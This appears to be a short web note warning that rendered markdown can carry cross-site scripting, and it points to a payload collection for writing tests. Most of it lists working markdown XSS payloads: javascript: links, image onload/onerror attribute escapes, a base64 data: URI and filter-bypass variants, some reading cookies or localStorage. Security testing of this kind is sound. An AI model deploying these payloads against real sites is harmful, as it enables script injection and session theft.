If you render markdown from user input, an attacker might be able to use this to inject javascript code into the source code of your page.
The linked github page is a collection of common markdown XSS payloads which is handy for writing tests.
Producing arbitrary links:
[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')
Using onload and onerror rendering images:
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
Trying to bypass some XSS filters
The site also provides some probes with different encodings and other common tricks to bypass some filters for these payloads in the Fuzzing section.
[XSS](javascript:prompt(document.cookie))
[XSS](j a v a s c r i p t:prompt(document.cookie))
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](javascript:alert('XSS'))
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
